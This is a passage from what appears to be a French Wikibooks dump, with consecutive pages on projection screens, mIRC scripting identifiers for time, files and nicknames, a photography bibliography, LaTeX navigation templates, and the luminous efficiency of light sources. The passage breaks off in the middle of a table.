normalement dans une salle totalement obscure et décorée de couleurs sombres, de façon à absorber le plus possible les lumières parasites. Les lanternes de sécurité des salles sont souvent très gènantes, comme les lampes des conférenciers ou toute autre source de lumière. L'obligation de projeter dans des salles où le niveau lumineux est relativement élevé oblige à utiliser des écrans métallisés spéciaux, parfois dénommés de façon abusive « écrans plein jour », munis de profondes stries verticales qui arrêtent la lumière latérale. L'image reste donc relativement brillante, à condition de ne pas trop d'éloigner de la direction perpendiculaire à l'écran. Les valeurs sombres des images projetées sont les plus affectées par la lumière parasite et si celle-ci arrive en trop grande quantité ou dans la direction de la projection, il n'existe plus aucune solution satisfaisante pour conserver un minimum de qualité. === Projection par transparence === Lorsqu'elle a lieu sur un simple verre dépli ou sur un papier calque, la projection par transparence donne des résultats extrêmement médiocres : un « point chaud » central et des bords très assombris en sont les principales caractéristiques, il faut y ajouter une très grande sensibilité aux lumières parasites et avec ce traitement, il est évident que les meilleures images sont littéralement assassinées. Il existe toutefois des écrans en verre conçus spécialement pour ce genre de projection et qui en minimisent quelque peu les inconvénients habituels. La projection par transparence est vraiment une solution de pis-aller qui doit être écartée toutes les fois que d'autres méthodes sont possibles. Si tel n'est pas le cas, il faut adopter des écrans de petite taille, qui seront observés d'assez loin, et projeter les images avec un projecteur muni d'un objectif de focale aussi longue que possible. Programmation mIRC Identifieurs Temps et Date 5740 25024 2005-11-06T11:11:08Z MagnetiK 657 {{Programmation mIRC}} ==$asctime(N,format) == Retourne l'heure et la date en format texte associé à la valeur $ctime. $asctime(793947600) retourne le format de texte par défaut pour cette valeur temporelle $asctime(hh:nn:ss) retourne le temps actuel dans ce format $asctime(793947600,dd/mm/yy) retourne la date pour cette valeur temporelle Les identifieurs $time(), $date() et $gmt() peuvent également être utilisé selon la spécification du format ci-dessous. Le paramètre format est optionnel. S'il n'est pas spécifié, un format par défaut est utilisé. Le format peut être une combinaison des lignes suivantes: <table cellpadding="0" cellspacing="0" border="0"> <tr><td style="padding-right: 60px;">Année</td><td style="padding-right: 60px;">yy</td><td style="padding-right: 60px;">99</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">yyyy</td><td style="padding-right: 60px;">1999</td></tr> <tr><td style="padding-right: 60px;">Mois</td><td style="padding-right: 60px;">m</td><td style="padding-right: 60px;">1</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">mm</td><td style="padding-right: 60px;">01</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">mmm</td><td style="padding-right: 60px;">Jan</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">mmmm</td><td style="padding-right: 60px;">January</td></tr> <tr><td style="padding-right: 60px;">Jour</td><td style="padding-right: 60px;">d</td><td style="padding-right: 60px;">1</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">dd</td><td style="padding-right: 60px;">01</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">ddd</td><td style="padding-right: 60px;">Mon</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">dddd</td><td style="padding-right: 60px;">Monday</td></tr> <tr><td style="padding-right: 60px;">Heures</td><td style="padding-right: 60px;">h</td><td style="padding-right: 60px;">5</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">hh</td><td style="padding-right: 60px;">05</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">H</td><td style="padding-right: 60px;">13</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">HH</td><td style="padding-right: 60px;">13</td></tr> <tr><td style="padding-right: 60px;">Minutes</td><td style="padding-right: 60px;">n</td><td style="padding-right: 60px;">1</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">nn</td><td style="padding-right: 60px;">01</td></tr> <tr><td style="padding-right: 60px;">Secondes</td><td style="padding-right: 60px;">s</td><td style="padding-right: 60px;">1</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">ss</td><td style="padding-right: 60px;">01</td></tr> <tr><td style="padding-right: 60px;">AM/PM</td><td style="padding-right: 60px;">t</td><td style="padding-right: 60px;">a/p</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">tt</td><td style="padding-right: 60px;">am/pm</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">T</td><td style="padding-right: 60px;">A/P</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">TT</td><td style="padding-right: 60px;">AM/PM</td></tr> <tr><td style="padding-right: 60px;">Ordinal</td><td style="padding-right: 60px;">oo</td><td style="padding-right: 60px;">st/nd/rd/th</td></tr> <tr><td style="padding-right: 60px;">Fuseaux</td><td style="padding-right: 60px;">z</td><td style="padding-right: 60px;">+0</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">zz</td><td style="padding-right: 60px;">+0000</td></tr> <tr><td style="padding-right: 60px;"> </td><td style="padding-right: 60px;">zzz</td><td style="padding-right: 60px;">+0000 GMT</td></tr> </table> ''Note :'' Vous pouvez spécifier les paramètres N et le format ou l'un ou l'autre. $ctime Retourne le nombre total de secondes écoulées depuis 00:00:00 GMT, 1er Janvier 1970 selon votre temps système. ==$ctime(texte)== Retourne le nombre de secondes écoulées depuis 00:00:00 GMT, 1er janvier 1970 selon la date que vous spécifiez. $ctime(January 1 1970 00:00:00) $ctime(3rd August 1987 3:46pm) $ctime(21/4/72 1:30:37) $ctime(Wed 1998-3-27 21:16) ==$ctimer== Retourne le nom du timer qui a déclenché le script en cours. ==$date== Retourne la date en cours sous le format jour/mois/année. Pour la date au format US, vous pouvez utiliser $adate. ==$day== Retourne le nom du jour en cours, c'est à dire Monday, Tuesday, etc. ==$daylight== Retourne le décalage en secondes si le réglage daylight est effectif, et 0 sinon. ==$duration(secondes,N) == Retourne le nombre spécifié de secondes sous le format semaine/jour/heure/minute/seconde. Le paramètre N est optionnel. Si N = 2, le résultat n'inclue pas la valeur secondes. Si N = 3, le résultat est sous le format h:m:s. {{Note mIRC|Cet identifieur peut également prendre sa propre sortie et le convertir en secondes.}} ==$fulldate== Retourne la date en cours sous le format Wed Jun 26 21:41:02 1996 ==$gmt == Retourne le temps GMT en cours sous le format $ctime. ==$idle== Retourne votre temps d'inactivité en cours (même temps retourné que par un ctcp finger). ==$ltimer== Retourne le nombre du dernier timer qui a été commencé par la commande /timer. ==$online== Retourne le nombre de secondes écoulées dans le dialogue Timer. ==$ticks == Retourne le nombre de ticks écoulés (centaines de millisecondes écoulées) depuis que votre système d'exploitation a démarré. ==$time== Retourne le temps en cours sous le format heure:minute:seconde. ==$timer(N/nom)== Retourne l'identité du Nième timer dans la liste des timers. Vous pouvez également spécifier un nom de timer au lieu d'un nombre. Cet identifieur travaille en conjonction de la commande /timer. Propriétés : com, time, reps, delay, type, secs, mmt, anysc, wid, cid, hwnd *$timer(0) retourne le nombre de timers actifs *$timer(1) retourne l'identité du 1er timer dans la liste *$timer(1).com retourne la commande du 1er timer dans la liste *$timer(3).type retourne le statut online/offline du 3ème timer dans la liste *$timer(3).secs retourne le nombre de secondes restantes avant que le timer soit déclenché *$timer(3).mmt retourne $true si le timer est un timer multimédia *$timer(3).anysc retourne $true si le /timer -i paramètre a été spécifié ==$timestamp== Retourne le temps en cours sous le format [xx:xx]. ==$timezone== Cela retourne votre réglage de fuseau horaire en secondes. ==$timestampfmt== Retourne le format temporel défini dans le dialogue message. ==$uptime(mirc | server | system, N)== Retourne le temps uptime en millisecondes pour l'item spécifié. N est optionnel : * N = 1 retourne le même format que $duration(), * N = 2 retourne le même format que $duration() mais sans les secondes, * N = 3 retourne les secondes au lieu des millisecondes. Programmation mIRC Identifieurs Fichiers et Dossiers 5741 25025 2005-11-06T11:13:59Z MagnetiK 657 {{Programmation mIRC}} ==$abook(pseudo,N)== Retourne l'information au sujet de pseudonymes listés dans le carnet d'adresses. Propriétés : {{Lsparammirc|nick|retourne le nom du pseudonyme du carnet d'adresses}} {{Lsparammirc|info|retourne les informations dans la case info du carnet d'adresses}} {{Lsparammirc|email|retourne les informations dans la case email du carnet d'adresses}} {{Lsparammirc|website|retourne les informations dans la case website du carnet d'adresses}} {{Lsparammirc|picture|retourne les informations dans la case picture du carnet d'adresses}} {{Lsparammirc|noteN|retourne les informations dans la case Note du carnet d'adresses. N est le numéro de ligne à renvoyer. Si N est nul, alors il indique le nombre de lignes dans la case Note.}} Formats permis : $abook(pseudo) $abook(N) $abook(pseudo,N) où le pseudo peut également être un joker. ==$alias(N/nomdefichier)== Retourne le nom de fichier du Nième fichier alias chargé. Si vous spécifiez un nom de fichier, il retourne $null si le fichier n'est pas chargé. {{Lsparammirc|$alias(0)|retourne le nombre d'alias chargé}} {{Lsparammirc|$alias(2)|retourne le nom de fichier du 2ème fichier alias chargé}} {{Lsparammirc|$alias(moo.txt)|retourne $null si le fichier n'est pas chargé ou moo.txt s'il existe.}} ==$crc(texte|&binvar|nomdefichier,[N])== Retourne le checksum CRC d'un item spécifié, où : {{Lsparammirc|N = 0|pour un texte normal}} {{Lsparammirc|N = 1|pour &binvar}} {{Lsparammirc|N = 2|pour un nom de fichier (par défaut)}} ==$disk(chemin|N)== Retourne l'information au sujet du disque dur spécifié, où N = 0 pour le nombre total de disques disponibles, et N > 0 pour accéder à chaque disque. Propriétés : {{Lsparammirc|type|}} {{Lsparammirc|free|retourne l'espace libre du disque visé}} {{Lsparammirc|label|retourne le nom donné du disque visé}} {{Lsparammirc|size|retourne la taille totale du disque visé}} {{Lsparammirc|unc|retourne le chemin pour un disque réseau}} {{Lsparammirc|path|retourne le chemin pour un disque local }} {{Code mIRC|$disk(c:)}} retourne $true si le disque c: existe, $false autrement ==$exists(fichier/dossier) == Retourne $true si le fichier ou le dossier existe et $false sinon. {{Code mIRC|$exists(c:\mirc\mirc.exe)}} retourne $true ou $false. ==$file(nomdefichier)== Retourne l'information sur le fichier spécifié. Propriétés : size, ctime, mtime, atime, shortfn, longfn, attr {{Lsparammirc|size|retourne la taille du fichier}} {{Lsparammirc|ctime|retourne l'heure de création }} {{Lsparammirc|mtime|retourne l'heure de dernière modification }} {{Lsparammirc|atime|retourne l'heure de dernier accès }} {{Lsparammirc|shortfn|retourne le chemin complet du fichier au format DOS (taille des dossiers et fichier en 8.3) }} {{Lsparammirc|longfn|retourne le chemin complet du fichier au format 32 bits }} {{Lsparammirc|attr|retourne les attributs du fichier }} ==$filtered== Retourne le nombre de lignes qui ont été filtrées lors de l'utilisation de la commande [[Programmation_mIRC_Commandes_mIRC_1#.2Ffilter|/filter]]. ==$finddir(dossier,joker,N,profondeur,@window | commande)== Recherche le dossier spécifié et ses sous-dossiers pour le Nième nom de dossier correspondant à la spécification joker et retourne le chemin complet s'il est trouvé. Propriété : {{Lsparammirc|shortfn|retourne le chemin complet du fichier au format DOS (taille des dossiers et fichier en 8.3)}} $finddir(c:\,mirc*,1) retourne le premier nom de dossier correspondant à "mirc" Si vous spécifiez une fenêtre personnalisée (@window) (avec une liste) au lieu du paramètre N, mIRC remplira la liste de la fenêtre personnalisée des résultats. Si vous spécifiez une commande, la commande est accomplie sur chaque dossier qui est trouvé. Vous pouvez utiliser $1- pour référer le nom du dossier par exemple. {{Code mIRC|//echo 1 $finddir($mircdir,*.*,0,echo $1-)}} Si vous spécifiez une profondeur, mIRC cherchera uniquement N profondeurs de dossiers correspondant aux noms de fichier. {{Note mIRC|les paramètres profondeur et @window sont optionnels.}} ==$findfile(dossier,joker,N,profondeur,@window | commande) == Recherche le dossier spécifié et ses sous-dossiers pour le Nième nom de fichier correspondant à la spécification du fichier joker et retourne le chemin complet et le nom du fichier s'il est trouvé. Propriété : {{Lsparammirc|shortfn|retourne le chemin complet du fichier au format DOS (taille des dossiers et fichier en 8.3)} $findfile(c:\mirc,*.exe,1) retourne c:\mirc\mirc.exe Si vous spécifiez une fenêtre personnalisée (@window) (avec une liste) au lieu du paramètre N, mIRC remplira la liste de la fenêtre personnalisée des résultats. Si vous spécifiez une commande, la commande est accomplie sur chaque dossier qui est trouvé. Vous pouvez utiliser $1- pour référer le nom du dossier par exemple. {{Code mIRC|//echo 1 $finddir($mircdir,*.*,0,echo $1-)}} Si vous spécifiez une profondeur, mIRC cherchera uniquement N profondeurs de dossiers correspondant aux noms de fichier. {{Note mIRC|les paramètres profondeur et @window sont optionnels.}} ==$getdir== Retourne le dossier du DCC Get spécifié dans le dialogue Options DCC. $getdir(filespec) Retourne le dossier DCC pour le type de fichier spécifié. $getdir(*.txt) retourne c:\mirc\text\ (par exemple) ==$ini(fichier,sujet/N,item/N)== Retourne le nom/Nième position du sujet/item spécifié dans un fichier texte/ini. {{Lsparammirc|$ini(mirc.ini,0)|retourne le nombre total de sujets dans mirc.ini}} {{Lsparammirc|$ini(mirc.ini,1)|retourne le nom du 1er sujet dans mirc.ini}} {{Lsparammirc|$ini(mirc.ini,help)|retourne la Nième position du sujet help s'il existe, ou retourne 0 s'il n'existe pas}} Le paramètre item/N est optionnel. Si vous spécifiez N = 0, il retourne le nombre total de sujets/items. ==$isdir(nom de dossier)== Retourne $true si le dossier spécifique existe, $false autrement. ==$isfile(nom de fichier)== Retourne $true si le fichier spécifié existe, $false autrement. ==$lines(nom de fichier)== Retourne le nombre total de lignes dans le fichier texte spécifié. {{Code mIRC|$lines(c:\irc\kicks.txt)}} retourne le nombre total de lignes dans c:\irc\kicks.txt ==$logdir== Retourne le dossier des logs comme spécifié dans la section Logging du dialogue Options. ==$longfn(nom de fichier)== Retourne la version longue d'un nom de fichier court. ==$mididir== Retourne le dossier midi spécifié dans la section Sound Requests du dialogue Options. ==$mircdir== Retourne le dossier actuel du programme mIRC. ==$mircexe== Retourne le chemin complet et nom de fichier du fichier mirc exe. ==$mircini== Retourne le nom du fichier ini principal, normalement mirc.ini. ==$mklogfn(nom de fichier)== Retourne le nom de fichier qui utilise le logging. Ajouter la date au nom de fichier si vous avez activé l'option dated logfiles dans le dialogue logging. Vous pouvez également utiliser $mknickfn(pseudonyme) pour fixer le pseudonyme comme nom de fichier, et $mkfn(nom de fichier), lequel enlève les caractères invalides. ==$msfile(dossier,titre,texte OK)== Affiche le dialogue sélectionner le fichier et retourne N, le nombre de fichiers sélectionnés. $msfile(N) retourne chaque fichier. S'il y a trop de fichiers sélectionnés, $msfile() retourne -1. Le titre et le texte OK sont optionnels. ==$nofile(nom de fichier)== Retourne le chemin du nom de fichier sans le nom de fichier actuel. ==$nopath(nom de fichier)== Retourne le nom de fichier sans le chemin s'il en a un. {{Code mIRC|$nopath(c:\mirc\mirc.exe)}} retourne mirc.exe ==$read(nom de fichier, [ntswrp], [texte correspondant], [N])== Retourne une seule ligne de texte d'un fichier. Cet identifieur fonctionne en conjonction de la commande [[Programmation_mIRC_Commandes_mIRC_2#.2Fwrite|/write]]. {{Code mIRC|//echo $read(funny.txt)}} Lit aléatoirement une ligne du fichier funny.txt. {{//echo $read(funny.txt, 24)}} Lit la ligne 24 du fichier funny.txt. {{Code mIRC|//kick # $1 $read(kicks.txt)}} Lit une ligne de kick aléatoire du fichier kicks.txt et l'utilise dans la commande kick. {{Code mIRC|//echo $read(info.txt, s, mirc)}} Scanne le fichier info.txt pour une ligne commençant par le mot mirc et retourne le texte suivant la valeur correspondante. {{Code mIRC|//echo $read(help.txt, w, *help*)}} Scanne le fichier help.txt pour une ligne correspondant au texte joker *help*. {{Lsparammirc|r|implique une correspondance regex.}} Si vous spécifiez les paramètres s, w ou r, vous pouvez également spécifier la valeur N pour spécifier la ligne que vous souhaitez commencer la recherche dans le fichier, par exemple : {{Code mIRC|//echo $read(versions.txt, w, *mirc*, 100)}} {{Lsparammirc|n|est spécifié alors la ligne lue ne sera pas évaluée et sera traitée comme un texte normal.}} {{Lsparammirc|p|les séparateurs de commande ($chr(124) ou ALTGR+6) sont traités en tant que tel au lieu d'un texte normal.}} Si la première ligne dans le fichier est un nombre, il doit représenter le nombre total de lignes dans le fichier. Si vous spécifiez N = 0, mIRC retourne la valeur de la première ligne si c'est un nombre. {{Lsparammirc|t|mIRC traitera la première ligne dans le fichier comme du texte, même si c'est un nombre.}} ==$readn == Retourne le numéro de ligne qui a été utilisé dans un précédent appel de $read(). Si aucune correspondance n'est trouvée, $readn est mise à zéro. ==$readini(nom de fichier, [np], section, item)== Retourne une seule ligne de texte d'un fichier ini Cet identifieur fonctionne en conjonction de la commande /writeini. {{Code mIRC|//echo $readini(mirc.ini, mIRC, nick)}}Lit votre pseudonyme dans le fichier mirc.ini. Si le paramètre n est spécifié alors la ligne est lue sans être évaluée et sera traitée comme du texte. Si le paramètre p est spécifié, les séparateurs de commande | ($chr(124) ou ALTGR+6) sont traités en tant que tel au lieu d'un texte normal. ==$sdir(dossier,titre)== Affiche le dialogue de sélection de dossiers et retourne le dossier sélectionné. Le titre est optionnel. ==$sfile(dossier,titre,texte OK)== Affiche le dialogue de sélection de fichier et retourne le nom de fichier sélectionné. Le titre et le texte OK sont optionnels. ==$shortfn(nom de fichier)== Retourne la version raccourcie d'un nom long de fichier. Programmation mIRC Identifieurs Pseudonyme et adresse 5742 25031 2005-11-06T11:30:54Z MagnetiK 657 {{Programmation mIRC}} ==$address(pseudonyme,type)== Cherche l'adresse associée au pseudonyme spécifié dans la liste interne d'adresses. {{Code mIRC|$address(pseudo,1)}} retourne *!*user@host Si la liste interne d'adresses ne contient pas un pseudonyme correspondant, l'identifieur retourne $null. Voir $mask() pour une liste des types. ==$anick== Retourne votre pseudonyme alternatif. ==$comchan(pseudo,N)== Retourne les noms des salons auxquels vous et 'pseudo' êtes présents. Propriétés : op, help, voice, *$comchan(pseudo,0) retourne le nombre total de salons en commun *$comchan(pseudo,1) retourne le premier nom de salon en commun *$comchan(pseudo,1).op retourne $true si vous êtes un opérateur sur le salon ==$ial(pseudo/masque,N)== Retourne la Nième adresse correspondant au masque dans l'IAL . ==$ialchan(pseudo/masque,#,N)== Retourne la Nième adresse sur le salon spécifié correspondant au masque dans l'IAL. Propriétés : pnick ==$ibl(#salon,N)== Retourne le Nième item dans la liste interne des Bannis ou, si N est 0, retourne le nombre total d'items dans la liste. Propriétés : by, date, ctime *$ibl(#mirc,1) retourne la première adresse dans la liste des bannis *$ibl(#mirc,1).by retourne l'adresse de l'utilisateur qui a réglé le bannissement *$ibl(#mirc,1).date retourne la date quand l'utilisateur a mis le bannissement $ibl(#mirc,1).ctime retourne le format $ctime pour la date du bannissement {{Note mIRC|voir $chan() pour de plus amples informations.}} ==$level(adresse)== Trouve une adresse correspondante dans la liste des utilisateurs et retourne sa liste de niveaux correspondant. {{Code mIRC|$level(*!*@mirc.com)}} retourne =5,10,20,21,32 ==$link(N)== Retourne le Nième item listé dans la fenêtre des liens du serveur. Propriétés : addr, ip, level, info *$link(0) retourne le nombre total de liens dans la fenêtre des liens *$link(1) retourne le Nième adresse de serveur dans la fenêtre des liens ==$mask(adresse,type)== Retourne l'adresse avec un masque spécifié par type. {{code mIRC|$mask(nick!khaled@mirc.com,1)}} retourne *!*khaled@mirc.com {{Code mIRC|$mask(nick!khaled@mirc.com,2)}} retourne *!*@mirc.com Les types disponibles sont : <pre>1. *!user@host 2. *!*user@host 3. *!*@host 4. *!*user@*.host 5. *!*@*.host 6. nick!user@host 7. nick!*user@host 8. nick!*@host 9. nick!*user@*.host 10. nick!*@*.host</pre> {{Note mIRC|Vous pouvez également spécifier un type de 10 à 19 qui correspond aux masques 0 à 9, mais au lieu du joker * pour remplacer une partie de l'hôte, mIRC utilise les jokers ? pour remplacer les nombres dans les adresses.}} ==$me== Retourne votre pseudonyme actuel. ==$mnick== Retourne votre pseudonyme principal. ==$nick(#,N/pseudo,aohvr,aohvr) == Retourne le Nième pseudonyme dans la liste des pseudonymes des salons sur le salon #. Propriétés : color , pnick , idle *$nick(#mIRC,0) retourne le nombre total de pseudonymes sur #mIRC *$nick(#mIRC,1) retourne le 1er pseudonyme sur #mIRC Les paramètres aohvr sont optionnels. Le premier spécifie quels pseudos vous incluez, et le second spécifie les pseudos que vous excluez, où : {{Lsparammirc|a|tous les pseudos}} {{Lsparammirc|o|les opérateurs}} {{Lsparammirc|h|halfops}} {{Lsparammirc|v|voicé}} {{Lsparammirc|r|égulier (sans +%@.)}} {{Code mIRC|$nick(#mIRC,1,o)}} retourne le premier opérateur sur #mIRC {{Code mIRC|$nick(#mIRC,0,a,o)}} retourne le nombre de pseudos n'incluant pas les opérateurs sur #mIRC La propriété pnick retourne le pseudonyme sous le format .@%+nick. La propriété idle retourne le temps que l'utilisateur a été inactif sur le salon spécifié, par exemple le temps que l'utilisateur a envoyé le dernier message au salon. {{Note mIRC|Voir l'identifieur $prefix pour plus d'informations.}} ==$notify(N/pseudo)== Retourne le Nème pseudonyme dans votre liste de notification. Propriétés : ison, note, sound, whois, addr *$notify(0) retourne le nombre de pseudonymes dans votre liste de notification. *$notify(3) retourne le 3ème pseudonyme dans votre liste de notification. *$notify(3).ison retourne $true si cet utilisateur est sur IRC, $false sinon. *$notify(goat) retourne la Nième position du pseudonyme goat dans votre liste de notification ==$snicks== Retourne une chaîne des pseudonymes actuellement sélectionnés dans la liste des pseudonymes du salon actif sous le format : pseudo1, pseudo2, pseudo3,..., pseudoN ==$snick(#,N)== Retourne le Nième pseudonyme sélectionné dans la liste des pseudonymes dans le salon #. *$snick(#mIRC,0) retourne le nombre total de pseudonymes sélectionnés sur #mIRC *$snick(#mIRC,1) retourne le 1er pseudonyme sélectionné sur #mIRC {{Note mIRC|Si le paramètre N n'est pas spécifié, Il retourne une ligne contenant tous les pseudonymes sélectionnés.}} ==$snotify== Retourne le pseudonyme actuellement sélectionné dans la liste de notification. ==$trust(N)== Retourne le Nième item dans la liste de confiance dcc ou, si N est 0, retourne le nombre total d'items dans la liste. Programmation mIRC Remote/Mode 5743 24387 2005-10-27T17:03:24Z MagnetiK 657 L'évènement on MODE se déclenche quand un utilisateur change de mode de salon. Format : on <niveau>:MODE:<#[,#]>:<commandes> Exemple : on 1:MODE:#mIRC:/notice $me $nick a changé le mode du $chan en $1- L'évènement on SERVERMODE utilise le même format, et se déclenche quand un serveur IRC change un mode du salon. Exemples on @1:MODE:#:/notice $me $nick a change le mode du $chan en $1- Cela se déclenche quand un utilisateur change le mode sur tout salon où vous êtes opérateur (le signe @ spécifie l'exigence Opérateur, voir la section Niveaux d'accès pour plus d'informations). Les paramètres actuels du changement de mode sont gardés dans $1- lesquels vous aurez besoin de séparer pour prendre un mode particulier. Note : ces évènements se déclenchent seulement sur les changements de mode du salon, pas les changements de mode utilisateur tels que opérateurs, bans, etc. Photographie - Bibliographie 5744 29384 2006-01-19T19:43:04Z Jean-Jacques MILAN 114 /* Chapitre 08 - Systèmes centrés et objectifs */ {{Photographie}} == Ouvrages généraux == * Louis-Philippe Clerc, ''La technique photographique'', Paul Montel, Paris, 1934, 2{{e}} édition. : L'ouvrage est ancien, épuisé depuis longtemps, mais il a servi pendant longtemps de référence à la plupart des rédacteurs d'ouvrages sur la photographie. Les calculs de la profondeur de champ y sont limpides et toujours d'actualité, les lois de l'optique ayant parfaitement résisté au changement de millénaire. * Paul Kowaliski, chercheur aux Laboratoires Kodak-Pathé, ''Théorie photographique appliquée'', Masson, Paris, 1972. : Pour lecteurs très avertis uniquement. * Gérard de Vaucouleurs, Jean Dragesco et Pierre Selme, ''Manuel de photographie scientifique'', Éditions de la Revue d'optique, Paris, 1956. : La profondeur de champ et la distance hyperfocale sont traitées en une page et demi, c'est clair, net et précis, sans évoquer en quoi que ce soit le « cercle de confusion » qui fait tant de ravages dans les esprits. * Jean Cruset, ''Leçons d'optique appliquée et de photographie'', École nationale des sciences géographiques, 1966, Paris, 4{{e}} édition. : C'est de l'optique géométrique et physique pure et dure, il faut suivre ... * André Moussa et Paul Ponsonnet, ''Cours de Physique - Optique'', André Desvigne, Lyon, 7{{e}} édition, 1975. : Même remarque ! == Chapitre 08 - Systèmes centrés et objectifs == * Robert Andréani, ''Nouveaux objectifs catadioptriques'', in Photo-Revue, mai 1961. * ''Comment calcule-t-on aujourd'hui les objectifs ?'' - Interview du Docteur E. Glatzel, ingénieur au Département Mathématiques de Carl Zeiss Oberkochen, in Photo-Revue, mars 1968, pp. 109-112. == Chapitre 09 - Appareils photographiques == * Robert Andréani, ''Les appareils réflex'', in Photo-Revue, mai 1961, pp. 140-141. * ''La ligne d'appareils Kodak Pocket et le format 110'', in Courrier professionnel Kodak, n° 45, 1973, pp. 3-11. == Chapitre 12 - Sensitométrie == * ''L''''effet de réciprocité''' dans les papiers noir et blanc'', in Courrier Professionnel Kodak, n° 42, janvier 1972, p. 8. * '' Sensibilité des '''films infrarouges''' à la chaleur'', in Courrier Professionnel Kodak, n° 42, janvier 1972, p. 8. == Chapitre 14 - Netteté des images photographiques == * Roland Kiefer, ''Le point sur la netteté'', in Nikon-News, n° 4, 1985, Düsseldorf. == Chapitre 20 - Le tirage des positifs == * Jean Schwartz, ''Effets spéciaux en noir et blanc'', in Photo-Revue, Mars 1968, pp. 124-128. == Chapitre 18 - Les sources d'éclairage == * ''Détermination des conditions d'exposition à la lumière d'un flash électronique'', in Courrier professionnel Kodak, n° 39, mai 1971, p. 13. (Kodak-Pathé, 37-39 Av. Montaigne 75008 Paris). == Chapitre 23 - Techniques scientifiques == * Robert Auvillain, ''Photographie en infrarouge'', in Photo-Revue, Mai 1961, pp. 117-120. * Jean-Jacques Soulis, ''La photogrammétrie ou la reconnaissance des formes''. In : Industries et Techniques, n° 407, 10 octobre 1979, pp. 30-34. == Chapitre 27 - Équipements et accessoires divers == * Joseph Scheibel, ''Les écrans de projection'', in Leica Fotografie, n° 6, 1968, éditions Verlag, Francfort sur le Main Programmation LaTeX Introduction 5747 39851 2006-04-08T18:25:14Z Trotinette 954 {{LaTeX-nav}} *[[Programmation LaTeX Premier exemple|Premier exemple]] *[[Programmation LaTeX Éléments de base|Éléments de base]] **[[Programmation LaTeX Typographie et mise en forme du texte|Typographie et mise en forme du texte]] **[[Programmation LaTeX Les classes|Les classes]] **[[Programmation LaTeX Les environnements|Les environnements]] *[[Programmation LaTeX Faire des tableaux|Faire des tableaux]] Modèle:LaTeX-nav 5748 27828 2005-12-28T19:47:51Z Trotinette 954 {| style="margin:0 auto" align=center class="toccolours" |align=center|<small> [[Programmation LaTeX|Index]] - [[Programmation LaTeX Introduction|Introduction]] - [[Programmation LaTeX Novices|Novices]] - [[Programmation LaTeX Structure du document|Structure du document]] - [[Programmation LaTeX Gestion de la bibliographie|Gestion de la bibliographie]] - [[Programmation LaTeX Tableaux|Tableaux]] - [[Programmation LaTeX Images|Images]] - [[Programmation LaTeX Éléments flottants et figures|Éléments flottants et figures]] - [[Programmation LaTeX Mise en forme du texte|Mise en forme du texte]] - [[Programmation LaTeX Mise en page|Mise en page]] - [[Programmation LaTeX Mathématiques|Mathématiques]] - [[Programmation LaTeX Liens externes|Liens externes]] </small> |} Photographie - 05 - Les sources lumineuses 5750 44351 2006-06-11T22:15:18Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} == Efficacité lumineuse, rendement == Toute source lumineuse reçoit une puissance P, le plus souvent sous forme électrique, et restitue un flux énergétique <math>\Phi \,</math> dont une partie seulement est visible et perçue sous la forme d'un flux lumineux F. Le rendement énergétique d'une source peut s'écrire (sans unité !) : &nbsp; <math>\rho = \frac{puissance\ \acute e mise\ \Phi}{puissance\ fournie\ P} = \frac{\int \Phi_\lambda d \lambda}{P}</math> L'efficacité lumineuse de cette source sera, en lm/W : <math>V = \frac{flux\ lumineux F}{flux\ \acute energ\acute etique\ \Phi} = \frac{\int V_\lambda \Phi_\lambda d \lambda}{L \int \Phi_\lambda d \lambda}</math> Le rendement lumineux global s'exprimera, en lm/W : <math>\eta = \frac{\int V_\lambda \Phi_\lambda d \lambda}{LP}</math> La relation existant entre les trois grandeurs ci-dessus est : <math>\eta = \rho \cdot V</math> Les deux valeurs du rendement global et de l'efficacité lumineuse sont souvent confondues à tort, c'est le premier qui est généralement fourni par les fabricants de lampes comme caractéristique de leurs fabrications, même s'ils ont la fâcheuse habitude de l'appeler efficacité. Il faut souligner ici le fait important que ce rendement ne varie pas de O à 1 comme il est habituel en physique, mais de O à 680 lm/W. C'est donc une grandeur qui possède une dimension. A titre indicatif, nous pouvons ici essayer de calculer le rendement global de la source-étalon qui servait à définir la candela : considérons une sphère de corps noir de surface projetée 1/60e cm<sup>2</sup>, qui aura donc pour diamètre 1,45 mm et pour surface totale 6,6 mm<sup>2</sup>. Portée à la température de solidification du platine, 2045 K (température absolue) , cette sphère émet dans toutes les directions une intensité de 1 cd, soit dans tout l'espace un flux de 4&pi; lm. L'exitance de cette sphère est <math>M = \sigma \cdot T^4 = 5,7 \cdot 10^{-8} \cdot 2045^4 \approx 10^6 W/m^2 = 1 W/mm^2 \,</math> La puissance totale émise est donc <math>P = 6,6 W \,</math> Pour un corps noir, &rho; = 1 par définition, donc <math>\eta = V = {flux\ \acute emis\ F \over puissance\ P} = {4\ \pi \over 6,6} = 1,9\ lm/W</math> == Valeurs du rendement lumineux global des diverses catégories de sources lumineuses == On pourra replacer cette valeur dans le tableau ci-dessous, qui donne des valeurs moyennes de rendement global pour différents types de sources lumineuses usuelles. Pour beaucoup de sources, ces valeurs sont très variables en fonction de facteurs tels que la tension d'alimentation, la qualité de la fabrication le degré de vieillissement, etc. {| border="1" cellpadding="5" cellspacing="0" align="center" |- |'''Référence''' |'''Soleil''' |'''6500 K''' |'''250 lm/W''' |- | |Lampes tungstène |2800 K |15 à 20 lm/W |- | |Lampes « studio » |3200 K |30 lm/W |- | |Lampes flood neuves |3400 K |34 lm/W |- | |Lampes à iode |3400 K |34 